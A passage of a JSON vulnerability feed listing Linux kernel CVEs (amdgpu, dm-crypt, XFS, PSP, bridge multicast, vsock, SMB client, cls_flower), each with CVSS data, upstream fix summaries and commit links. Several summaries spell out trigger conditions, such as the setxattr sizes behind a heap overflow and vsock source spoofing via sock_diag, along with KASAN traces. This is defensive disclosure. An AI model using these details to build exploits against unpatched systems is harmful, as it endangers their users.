limit."},"refs":[["https://git.kernel.org/stable/c/2058a1fe791bb30fd6e4875a7ada3237076c8541","ref"],["https://git.kernel.org/stable/c/37049f8c56d377e46a8ef1ff93178a39a68a9c9c","ref"],["https://git.kernel.org/stable/c/68ecc9510bb82dd78585c02bd5357f34ee16b153","ref"],["https://git.kernel.org/stable/c/803aa6fc2dbea25ab9d3ed19eca1c96d0ab17445","ref"],["https://git.kernel.org/stable/c/f4fcbae8b27350565026807e77c96541d9e7a349","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99148","cvss":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:34Z","product":"Linux Linux","affected":[["6.16",null]],"title":{"en":"drm/amdgpu: keep the eviction fence until the last handle is closed","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: keep the eviction fence until the last handle is closed amdgpu_gem_object_close() detaches the user queue eviction fence from the BO before it checks bo_va->ref_count, so closing any handle of a BO removes the fence, even when the file still has another handle to the BO and the bo_va with its GPU mappings stays. The BO can then be evicted without suspending the user queues of the file, which keep accessing it through mappings that are only marked for update. Seen on navi31 with a SDMA user queue: a BO opened twice in the same file (GEM_FLINK + GEM_OPEN) loses its eviction fence when the second handle is closed (traced attach/detach of the fence): attach bo=ffff8c78a6c84c00 GEM_CLOSE handle=7 detach bo=ffff8c78a6c84c00 while handle 6 and the mapping are still in use. Only detach the fence when the last reference to the bo_va goes away, matching amdgpu_gem_object_open(), which attaches it only when the bo_va is created. With this the fence stays until the file is closed. (cherry picked from commit 8387982f03d4026b7dc11b0b5e3118298eee4d6a)","ar":"In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: keep the eviction fence until the last handle is closed amdgpu_gem_object_close() detaches the user queue eviction fence from the BO before it checks bo_va->ref_count, so closing any handle of a BO removes the fence, even when the file still has another handle to the BO and the bo_va with its GPU mappings stays. The BO can then be evicted without suspending the user queues of the file, which keep accessing it through mappings that are only marked for update. Seen on navi31 with a SDMA user queue: a BO opened twice in the same file (GEM_FLINK + GEM_OPEN) loses its eviction fence when the second handle is closed (traced attach/detach of the fence): attach bo=ffff8c78a6c84c00 GEM_CLOSE handle=7 detach bo=ffff8c78a6c84c00 while handle 6 and the mapping are still in use. Only detach the fence when the last reference to the bo_va goes away, matching amdgpu_gem_object_open(), which attaches it only when the bo_va is created. With this the fence stays until the file is closed. (cherry picked from commit 8387982f03d4026b7dc11b0b5e3118298eee4d6a)"},"refs":[["https://git.kernel.org/stable/c/3c44cbcec5eb370713bbd2c315ed7c34d8ccec2b","ref"],["https://git.kernel.org/stable/c/6467c4cc83b94850bfea614e9f98276edf9a7c3f","ref"],["https://git.kernel.org/stable/c/dce8f7f03a47b1744dccf506268f9229b67fab47","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99136","cvss":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T11:17:33Z","product":"Linux Linux","affected":[["2.6.28.9 – <2.6.29","2.6.29"]],"title":{"en":"dm-crypt: fix a tiny race condition in crypt_dec_pending","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: dm-crypt: fix a tiny race condition in crypt_dec_pending crypt_dec_pending reads io->error before calling atomic_dec_and_test. Another context, for example crypt_endio called from an interrupt, may set io->error and drop its reference between the read and the decrement. crypt_dec_pending then drops the last reference and completes the bio with the stale status - so a read that failed and was never decrypted, or a write that failed, is reported as successful. The read was placed before the decrement by commit b35f8caa0890 (\"dm crypt: wait for endio to complete before destruction\"), because that commit freed dm_crypt_io before calling bio_endio. This is no longer the case, dm_crypt_io lives in the per-bio data now. Read io->error after atomic_dec_and_test instead. atomic_dec_and_test is fully ordered, so no additional barrier is needed.","ar":"In the Linux kernel, the following vulnerability has been resolved: dm-crypt: fix a tiny race condition in crypt_dec_pending crypt_dec_pending reads io->error before calling atomic_dec_and_test. Another context, for example crypt_endio called from an interrupt, may set io->error and drop its reference between the read and the decrement. crypt_dec_pending then drops the last reference and completes the bio with the stale status - so a read that failed and was never decrypted, or a write that failed, is reported as successful. The read was placed before the decrement by commit b35f8caa0890 (\"dm crypt: wait for endio to complete before destruction\"), because that commit freed dm_crypt_io before calling bio_endio. This is no longer the case, dm_crypt_io lives in the per-bio data now. Read io->error after atomic_dec_and_test instead. atomic_dec_and_test is fully ordered, so no additional barrier is needed."},"refs":[["https://git.kernel.org/stable/c/056bf8322e39a48026df352d6227ec03dd8cd032","ref"],["https://git.kernel.org/stable/c/148845aa1921d95ef5dc851c76e6a284f6657df6","ref"],["https://git.kernel.org/stable/c/445a6883f46d3ab1ff545199a8cc1d5834936d3f","ref"],["https://git.kernel.org/stable/c/4f16bb982b27b9f5a15301f622c318001fe521f8","ref"],["https://git.kernel.org/stable/c/6ac8546df1f8a2b1ca7f6d67c269057a99fbbf8c","ref"],["https://git.kernel.org/stable/c/6f82e86471c92fd874f2630c9a6af887f4ed1a77","ref"],["https://git.kernel.org/stable/c/ac5d887ab93592fc5e3605fe30c1d8d232d609b3","ref"],["https://git.kernel.org/stable/c/d9d7069bb79139271b54dc477f07e242c445de6b","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99131","cvss":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:32Z","product":"Linux Linux","affected":[["5.18",null]],"title":{"en":"xfs: fix capability check in xfs","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: xfs: fix capability check in xfs An user reported a bug where he managed to evade group's quota by changing a file's gid to a different group id the same user belonged to, even though quotas were enforced on both gids and the file's size was big enough to exceed the quota's hardlimit. Commit eba0549bc7d1 replaced a capable() call by a has_capability_noaudit() to prevent unnecessary selinux audit messages. Turns out that both calls have slightly different semantics even though their documentation seems similar. Where in a nutshell: capable() - Tests the task's effective credentials has_ns_capability_noaudit() - Tests the task's real credentials This most of the time has no practical difference but in some cases like changing attrs (specifically group id in this case) through a NFS client this will allow the quota code to use XFS_QMOPT_FORCE_RES, effectively bypassing quota accounting checks. Using instead ns_capable_noaudit() should fix this issue and prevent selinux audit messages. This also fix the remaining calls to has_capability_noaudit()","ar":"In the Linux kernel, the following vulnerability has been resolved: xfs: fix capability check in xfs An user reported a bug where he managed to evade group's quota by changing a file's gid to a different group id the same user belonged to, even though quotas were enforced on both gids and the file's size was big enough to exceed the quota's hardlimit. Commit eba0549bc7d1 replaced a capable() call by a has_capability_noaudit() to prevent unnecessary selinux audit messages. Turns out that both calls have slightly different semantics even though their documentation seems similar. Where in a nutshell: capable() - Tests the task's effective credentials has_ns_capability_noaudit() - Tests the task's real credentials This most of the time has no practical difference but in some cases like changing attrs (specifically group id in this case) through a NFS client this will allow the quota code to use XFS_QMOPT_FORCE_RES, effectively bypassing quota accounting checks. Using instead ns_capable_noaudit() should fix this issue and prevent selinux audit messages. This also fix the remaining calls to has_capability_noaudit()"},"refs":[["https://git.kernel.org/stable/c/19a1a22029ad3ae3604c763af6bd1195cb73648f","ref"],["https://git.kernel.org/stable/c/29f994db0447104a7a52fb6495193c80007cb66a","ref"],["https://git.kernel.org/stable/c/7809ac0161c7c5f52ed348fb1ec683b2b454a83e","ref"],["https://git.kernel.org/stable/c/87881f816ab721d8a727cba20c36b9c71b489c8e","ref"],["https://git.kernel.org/stable/c/e2f62a9744ebad3bcb6347a648e615026e9efeff","ref"],["https://git.kernel.org/stable/c/e84bfb08016496ec5ce09a5ef9c813f23c060781","ref"]],"epss":0.0045,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99116","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:31Z","product":"Linux Linux","affected":[["6.18",null]],"title":{"en":"net: psp: do not inherit the Rx association on clone","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: net: psp: do not inherit the Rx association on clone sk->psp_assoc sits past sk_dontcopy_end, so sock_copy() copies it into every socket accepted from a listener without taking a reference, while inet_sock_destruct() puts for every inet socket. psp_twsk_init() does refcount_inc() for the timewait socket, so a child closing through TIME_WAIT cancels its own put and leaves the association with one reference and N timewait sockets holding the same pointer. Closing the listener frees it, and the timewait timers then put freed memory. Rejecting the association on a listening socket is not sufficient: a socket can acquire one while established and then be turned back into a listener, because tcp_disconnect() leaves sk->psp_assoc in place. BUG: KASAN: slab-use-after-free in psp_twsk_assoc_free+0x6f/0xf0 Write of size 4 at addr ffff888110f9255c by task swapper/7/0 psp_twsk_assoc_free+0x6f/0xf0 inet_twsk_put+0xda/0x1b0 call_timer_fn+0x53/0x2e0 __run_timers+0x764/0xa80 Freed by task 99: kfree+0x1a7/0x500 process_one_work+0x7ec/0x1100 An association carries a per-connection SPI and key, so a child must not inherit the parent's. Clear it on clone.","ar":"In the Linux kernel, the following vulnerability has been resolved: net: psp: do not inherit the Rx association on clone sk->psp_assoc sits past sk_dontcopy_end, so sock_copy() copies it into every socket accepted from a listener without taking a reference, while inet_sock_destruct() puts for every inet socket. psp_twsk_init() does refcount_inc() for the timewait socket, so a child closing through TIME_WAIT cancels its own put and leaves the association with one reference and N timewait sockets holding the same pointer. Closing the listener frees it, and the timewait timers then put freed memory. Rejecting the association on a listening socket is not sufficient: a socket can acquire one while established and then be turned back into a listener, because tcp_disconnect() leaves sk->psp_assoc in place. BUG: KASAN: slab-use-after-free in psp_twsk_assoc_free+0x6f/0xf0 Write of size 4 at addr ffff888110f9255c by task swapper/7/0 psp_twsk_assoc_free+0x6f/0xf0 inet_twsk_put+0xda/0x1b0 call_timer_fn+0x53/0x2e0 __run_timers+0x764/0xa80 Freed by task 99: kfree+0x1a7/0x500 process_one_work+0x7ec/0x1100 An association carries a per-connection SPI and key, so a child must not inherit the parent's. Clear it on clone."},"refs":[["https://git.kernel.org/stable/c/1d2929d0850fff683b8aff051275945e65f082c8","ref"],["https://git.kernel.org/stable/c/a9f14ea73e82db743f0acf4219f499d594589288","ref"],["https://git.kernel.org/stable/c/c962695467d3ab9738a6508279827ec33a7d2bdf","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99117","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:31Z","product":"Linux Linux","affected":[["5.10",null]],"title":{"en":"net: bridge: mcast: don't truncate the port group walk on teardown","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: net: bridge: mcast: don't truncate the port group walk on teardown __br_multicast_disable_port_ctx() and br_multicast_del_port() walk port->mglist with hlist_for_each_entry_safe(). However, br_multicast_find_del_pg() can also delete other entries from the same list through br_multicast_fwd_src_remove() or __fwd_del_star_excl(). If such an entry is the iterator's saved next node, hlist_del_init() clears its ->next and terminates the walk early. The reproducer triggers this in both teardown walks, leaving port groups in the bridge mdb with a dangling ->key.port after del_nbp() frees the port: BUG: KASAN: slab-use-after-free in __mdb_fill_info+0x1191/0x1320 __mdb_fill_info+0x1191/0x1320 br_mdb_dump+0x594/0xe40 rtnl_mdb_dump+0x1cf/0x5d0 Use hlist_del_init_rcu() to unlink the group while preserving ->next. br_multicast_del_pg() and the teardown walks run under br->multicast_lock. The GC worker must acquire the same lock before detaching the group for destruction, so the node remains alive while the walk uses the preserved pointer. Preserving ->next means a walk can now reach a group that an earlier iteration already deleted as a side effect. That group is off mp->ports, so br_multicast_find_del_pg() would fall through its port scan and hit the trailing WARN_ON(1). Skip such groups at the top of that helper: a port group is put on port->mglist when it is created and only unlinked when it is deleted, so hlist_unhashed() identifies exactly this case.","ar":"In the Linux kernel, the following vulnerability has been resolved: net: bridge: mcast: don't truncate the port group walk on teardown __br_multicast_disable_port_ctx() and br_multicast_del_port() walk port->mglist with hlist_for_each_entry_safe(). However, br_multicast_find_del_pg() can also delete other entries from the same list through br_multicast_fwd_src_remove() or __fwd_del_star_excl(). If such an entry is the iterator's saved next node, hlist_del_init() clears its ->next and terminates the walk early. The reproducer triggers this in both teardown walks, leaving port groups in the bridge mdb with a dangling ->key.port after del_nbp() frees the port: BUG: KASAN: slab-use-after-free in __mdb_fill_info+0x1191/0x1320 __mdb_fill_info+0x1191/0x1320 br_mdb_dump+0x594/0xe40 rtnl_mdb_dump+0x1cf/0x5d0 Use hlist_del_init_rcu() to unlink the group while preserving ->next. br_multicast_del_pg() and the teardown walks run under br->multicast_lock. The GC worker must acquire the same lock before detaching the group for destruction, so the node remains alive while the walk uses the preserved pointer. Preserving ->next means a walk can now reach a group that an earlier iteration already deleted as a side effect. That group is off mp->ports, so br_multicast_find_del_pg() would fall through its port scan and hit the trailing WARN_ON(1). Skip such groups at the top of that helper: a port group is put on port->mglist when it is created and only unlinked when it is deleted, so hlist_unhashed() identifies exactly this case."},"refs":[["https://git.kernel.org/stable/c/025c25ad73323c7dc5af4ee97fe0a2c0b3c177c8","ref"],["https://git.kernel.org/stable/c/5a3f7a683aee56e1f15c9d53041f3236767eaae7","ref"],["https://git.kernel.org/stable/c/8243d587a081e790ad96e80d48eef44d9f7ef005","ref"],["https://git.kernel.org/stable/c/ab836d56ff43f2e7927e88c83cd02c47a98a672e","ref"],["https://git.kernel.org/stable/c/b0db9f4ff402becff710ab27dbd9f6fe4850b47e","ref"],["https://git.kernel.org/stable/c/b45e8c24608c992d1e2cea047eb5bcbfa537f86b","ref"],["https://git.kernel.org/stable/c/be331b23c650de9518f8266b901d8abb9b36af77","ref"],["https://git.kernel.org/stable/c/e69d4927dacd6ddaff09777a89efc0d3143d3b0d","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99122","cvss":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:31Z","product":"Linux Linux","affected":[["3.9",null]],"title":{"en":"vsock/vmci: validate packet source for connected sockets","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: vsock/vmci: validate packet source for connected sockets vmci_transport_recv_stream_cb() looks up sockets first by the full source and destination tuple, then by destination only in the bound table. The fallback can select a non-listening socket without checking whether the packet came from its stored peer. This was reproduced with two VMCI contexts. A RST from the context not stored in a TCP_SYN_SENT socket reset that socket after it was selected by the destination-only lookup. VMCI can process notification packets in bottom-half context when the socket is not owned by user context, or defer packets to a workqueue. Use vsock_check_source() after taking the socket lock in the bottom-half path, and recheck after lock_sock() in the workqueue path. Listening sockets continue to accept packets from any source. Reply with a RST addressed from the received packet before dropping a source that fails validation. This preserves the existing reset behavior for bound non-listening and concurrently closed sockets without directing the reset to a connected socket's stored peer.","ar":"In the Linux kernel, the following vulnerability has been resolved: vsock/vmci: validate packet source for connected sockets vmci_transport_recv_stream_cb() looks up sockets first by the full source and destination tuple, then by destination only in the bound table. The fallback can select a non-listening socket without checking whether the packet came from its stored peer. This was reproduced with two VMCI contexts. A RST from the context not stored in a TCP_SYN_SENT socket reset that socket after it was selected by the destination-only lookup. VMCI can process notification packets in bottom-half context when the socket is not owned by user context, or defer packets to a workqueue. Use vsock_check_source() after taking the socket lock in the bottom-half path, and recheck after lock_sock() in the workqueue path. Listening sockets continue to accept packets from any source. Reply with a RST addressed from the received packet before dropping a source that fails validation. This preserves the existing reset behavior for bound non-listening and concurrently closed sockets without directing the reset to a connected socket's stored peer."},"refs":[["https://git.kernel.org/stable/c/90c423b62ec9be08177f74b07a47937ca8d2035b","ref"],["https://git.kernel.org/stable/c/ad9a7da3fa39c2d616ec0dd3cf6e30531d032fe7","ref"],["https://git.kernel.org/stable/c/c027f8b429dbb2157fc1b503df196e272d947c89","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99123","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:31Z","product":"Linux Linux","affected":[["4.8",null]],"title":{"en":"vsock/virtio: validate packet source for connected sockets","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: vsock/virtio: validate packet source for connected sockets virtio_transport_recv_pkt() looks up sockets first by the full source and destination tuple, then by destination only in the bound table. The fallback is needed for listening and connecting sockets, but sockets remain in the bound table after connect(), so it can also return a non-listening socket. The fallback does not validate the source address. In TCP_SYN_SENT, a RESPONSE from an unrelated source can transition the victim socket to TCP_ESTABLISHED while its stored remote address remains unchanged. Subsequent RW packets from that source are delivered through the same destination-only fallback. This was reproduced with capability-empty processes under different UIDs. The attacker discovered the target tuple through unprivileged AF_VSOCK sock_diag and caused the victim socket to read 16 attacker-chosen bytes; the intended peer-side socket read 0 of those 16 bytes. Add vsock_check_source() to validate the transport, source port and source CID against the peer stored in a non-listening socket. The local transport is the CID exception because its packets are generated internally with VMADDR_CID_LOCAL as their source, including connections using CID aliases. Use the helper after lock_sock() in the virtio receive path.","ar":"In the Linux kernel, the following vulnerability has been resolved: vsock/virtio: validate packet source for connected sockets virtio_transport_recv_pkt() looks up sockets first by the full source and destination tuple, then by destination only in the bound table. The fallback is needed for listening and connecting sockets, but sockets remain in the bound table after connect(), so it can also return a non-listening socket. The fallback does not validate the source address. In TCP_SYN_SENT, a RESPONSE from an unrelated source can transition the victim socket to TCP_ESTABLISHED while its stored remote address remains unchanged. Subsequent RW packets from that source are delivered through the same destination-only fallback. This was reproduced with capability-empty processes under different UIDs. The attacker discovered the target tuple through unprivileged AF_VSOCK sock_diag and caused the victim socket to read 16 attacker-chosen bytes; the intended peer-side socket read 0 of those 16 bytes. Add vsock_check_source() to validate the transport, source port and source CID against the peer stored in a non-listening socket. The local transport is the CID exception because its packets are generated internally with VMADDR_CID_LOCAL as their source, including connections using CID aliases. Use the helper after lock_sock() in the virtio receive path."},"refs":[["https://git.kernel.org/stable/c/6cd829de69efd9ed3a53aa2421004a0396eb2bd7","ref"],["https://git.kernel.org/stable/c/bda841af86cdfe7fcf4a2f4db22e27f1b852b1ff","ref"],["https://git.kernel.org/stable/c/c0a3a786a5e8b5007d6a3c34721ab052399ab2ad","ref"],["https://git.kernel.org/stable/c/dee44f41f206becb41c492899c1996cfd7f82a1b","ref"],["https://git.kernel.org/stable/c/e9bf92de436ba55f33eaa55d7008e68551123cfd","ref"],["https://git.kernel.org/stable/c/ec231dd3b14e541ba1c4f842a7d152fb61037333","ref"],["https://git.kernel.org/stable/c/f77fb90edca5385d0eecbfd6d2c8ef60afff24a9","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99107","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:30Z","product":"Linux Linux","affected":[["7.1",null]],"title":{"en":"ntfs: fix incorrect MFT record pointer passed to ntfs_attr_record_resize","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: ntfs: fix incorrect MFT record pointer passed to ntfs_attr_record_resize ntfs_new_attr_flags() passes the wrong MFT record to ntfs_attr_record_resize(). When the attribute is in an extent record, ctx->mrec points to the extent but the function receives the base record pointer m, causing incorrect size calculations in memmove. Fix by passing ctx->mrec (the actual MFT record containing the attribute) instead of m (the base MFT record) to ntfs_attr_record_resize().","ar":"In the Linux kernel, the following vulnerability has been resolved: ntfs: fix incorrect MFT record pointer passed to ntfs_attr_record_resize ntfs_new_attr_flags() passes the wrong MFT record to ntfs_attr_record_resize(). When the attribute is in an extent record, ctx->mrec points to the extent but the function receives the base record pointer m, causing incorrect size calculations in memmove. Fix by passing ctx->mrec (the actual MFT record containing the attribute) instead of m (the base MFT record) to ntfs_attr_record_resize()."},"refs":[["https://git.kernel.org/stable/c/0a9122cada749447dfb6d67aa3fed4ee1982231c","ref"],["https://git.kernel.org/stable/c/8d139e3635c86e2c97c78d55538ce0b00b6d9986","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99109","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:30Z","product":"Linux Linux","affected":[["2.6.12",null]],"title":{"en":"smb: client: reject SetEA requests that do not fit the request buffer","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: smb: client: reject SetEA requests that do not fit the request buffer CIFSSMBSetEA() copies the caller's extended attribute value into the SMB request buffer without checking that it fits. The requirement is stated in the source but was never implemented: /*BB add length check to see if it would fit in negotiated SMB buffer size BB */ /* if (ea_value_len > buffer_size - 512 (enough for header)) */ if (ea_value_len) memcpy(parm_data->list.name + name_len + 1, ea_value, ea_value_len); The only bound applied on the way in is in cifs_xattr_set(): #define MAX_EA_VALUE_SIZE CIFSMaxBufSize ... if (size > MAX_EA_VALUE_SIZE) CIFSMaxBufSize is the full payload capacity of the buffer, so a value of exactly that size leaves no room for the SMB header, the TRANS2 parameter block, the fealist header and the EA name that are written ahead of it in the same object. SendReceive() already enforces the correct limit on this very length: if (in_len > CIFSMaxBufSize + MAX_CIFS_HDR_SIZE) but it is called after the copy has taken place. An unprivileged setxattr(2) on an SMB1 mount with a 250-byte name and a 16384-byte value writes 16384 bytes starting 345 bytes into a 16588-byte cifs_request object, ending 141 bytes past it: BUG: KASAN: slab-out-of-bounds in CIFSSMBSetEA+0xabc/0xde0 Write of size 16384 at addr ffff888003aa0159 by task init/68 __asan_memcpy+0x3c/0x60 CIFSSMBSetEA+0xabc/0xde0 cifs_xattr_set+0xd3a/0xff0 __vfs_setxattr+0x13e/0x1a0 The buggy address is located 345 bytes inside of allocated 16588-byte region Apply SendReceive()'s limit to the assembled request before the copy rather than after it, and widen the byte counters so the sum cannot wrap before it is tested. byte_count is also tested against U16_MAX, because it is stored in the 16-bit pSMB->ByteCount. That becomes reachable when CIFSMaxBufSize is raised at module load, where it may be set as high as 1024*127: with a 5-byte EA name and a 65521-byte va…","ar":"In the Linux kernel, the following vulnerability has been resolved: smb: client: reject SetEA requests that do not fit the request buffer CIFSSMBSetEA() copies the caller's extended attribute value into the SMB request buffer without checking that it fits. The requirement is stated in the source but was never implemented: /*BB add length check to see if it would fit in negotiated SMB buffer size BB */ /* if (ea_value_len > buffer_size - 512 (enough for header)) */ if (ea_value_len) memcpy(parm_data->list.name + name_len + 1, ea_value, ea_value_len); The only bound applied on the way in is in cifs_xattr_set(): #define MAX_EA_VALUE_SIZE CIFSMaxBufSize ... if (size > MAX_EA_VALUE_SIZE) CIFSMaxBufSize is the full payload capacity of the buffer, so a value of exactly that size leaves no room for the SMB header, the TRANS2 parameter block, the fealist header and the EA name that are written ahead of it in the same object. SendReceive() already enforces the correct limit on this very length: if (in_len > CIFSMaxBufSize + MAX_CIFS_HDR_SIZE) but it is called after the copy has taken place. An unprivileged setxattr(2) on an SMB1 mount with a 250-byte name and a 16384-byte value writes 16384 bytes starting 345 bytes into a 16588-byte cifs_request object, ending 141 bytes past it: BUG: KASAN: slab-out-of-bounds in CIFSSMBSetEA+0xabc/0xde0 Write of size 16384 at addr ffff888003aa0159 by task init/68 __asan_memcpy+0x3c/0x60 CIFSSMBSetEA+0xabc/0xde0 cifs_xattr_set+0xd3a/0xff0 __vfs_setxattr+0x13e/0x1a0 The buggy address is located 345 bytes inside of allocated 16588-byte region Apply SendReceive()'s limit to the assembled request before the copy rather than after it, and widen the byte counters so the sum cannot wrap before it is tested. byte_count is also tested against U16_MAX, because it is stored in the 16-bit pSMB->ByteCount. That becomes reachable when CIFSMaxBufSize is raised at module load, where it may be set as high as 1024*127: with a 5-byte EA name and a 65521-byte va…"},"refs":[["https://git.kernel.org/stable/c/4aa2c106aef4bf3dfd97c30842db0767b26e8428","ref"],["https://git.kernel.org/stable/c/9efbd764ab80fa86d2258550877a74d78a25e855","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99110","cvss":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:30Z","product":"Linux Linux","affected":[["6.2",null]],"title":{"en":"smb: client: fix heap overflow in cifs_do_set_acl()","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: smb: client: fix heap overflow in cifs_do_set_acl() cifs_set_acl() validates ACL size using posix_acl_xattr_size(): 4 + (count * 8) // 4-byte header + 8 bytes per ACE cifs_do_set_acl() then calls posix_acl_to_cifs() to write the CIFS wire format into the same buffer: 6 + (count * 10) // 6-byte header + 10 bytes per ACE An ACL that passes the xattr-based check in cifs_set_acl() can overflow the heap when posix_acl_to_cifs() writes the larger CIFS format. Validate the CIFS format size against the remaining buffer space and USHRT_MAX before converting--data_count is __u16, so sizes above USHRT_MAX truncate the on-wire packet length, causing the server to apply a partial ACL. Replace MaxDataCount = 1000 with min(CIFSMaxBufSize, USHRT_MAX).","ar":"In the Linux kernel, the following vulnerability has been resolved: smb: client: fix heap overflow in cifs_do_set_acl() cifs_set_acl() validates ACL size using posix_acl_xattr_size(): 4 + (count * 8) // 4-byte header + 8 bytes per ACE cifs_do_set_acl() then calls posix_acl_to_cifs() to write the CIFS wire format into the same buffer: 6 + (count * 10) // 6-byte header + 10 bytes per ACE An ACL that passes the xattr-based check in cifs_set_acl() can overflow the heap when posix_acl_to_cifs() writes the larger CIFS format. Validate the CIFS format size against the remaining buffer space and USHRT_MAX before converting--data_count is __u16, so sizes above USHRT_MAX truncate the on-wire packet length, causing the server to apply a partial ACL. Replace MaxDataCount = 1000 with min(CIFSMaxBufSize, USHRT_MAX)."},"refs":[["https://git.kernel.org/stable/c/1dac61e2c29d1a71784604b48cf3b1234a65ec29","ref"],["https://git.kernel.org/stable/c/596b4062e6c75bdd85a7f2b7f2087a872dc420ac","ref"],["https://git.kernel.org/stable/c/68652afb9b9adf70125971abee9b95341e042249","ref"],["https://git.kernel.org/stable/c/9312a00215602ba028495ef3fa00fb84af0478e0","ref"],["https://git.kernel.org/stable/c/d96f3365ce61c5f39602955af43c8174548dee98","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99112","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T11:17:30Z","product":"Linux Linux","affected":[["5.10.11 – <5.10.273","5.10.273"]],"title":{"en":"net/sched: cls_flower: validate mask pointer after nla_next()","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: net/sched: cls_flower: validate mask pointer after nla_next() fl_set_enc_opt() iterates the key's nested tunnel-option attributes with nla_for_each_attr() while advancing a single mask pointer via nla_next() at the bottom of each loop, so the mask cursor is driven by the number of key attributes rather than by the mask's own attributes. The nla_ok() added by commit c96adff956191 (\"cls_flower: call nla_ok() before nla_next()\") only validates the mask pointer that was just consumed; the pointer produced by nla_next() is used by the next iteration (fl_set_geneve_opt() and siblings) without any validation. The mask's nested attributes are validated with NL_VALIDATE_LIBERAL, which merely warns on trailing bytes that do not form a complete attribute. A mask carrying one valid attribute plus 1-3 residue bytes (or a non-aligned attribute length making msk_depth negative) therefore reaches the next iteration with msk_depth != 0, so neither the !msk_depth check in fl_set_enc_opt() nor the !depth check in the per-type helpers fires. nla_type() then reads past the mask payload and nla_parse_nested_deprecated() iterates with an nla_len taken from those bytes, reading well beyond the mask attribute (KASAN: slab-out-of-bounds read in __nla_validate_parse from fl_change()). Validate the advanced mask pointer as well: when the mask is not legitimately exhausted (msk_depth != 0) and the new pointer fails nla_ok(), reject the filter with -EINVAL. An exactly exhausted mask still skips the check, preserving exact-match behaviour for the remaining key attributes.","ar":"In the Linux kernel, the following vulnerability has been resolved: net/sched: cls_flower: validate mask pointer after nla_next() fl_set_enc_opt() iterates the key's nested tunnel-option attributes 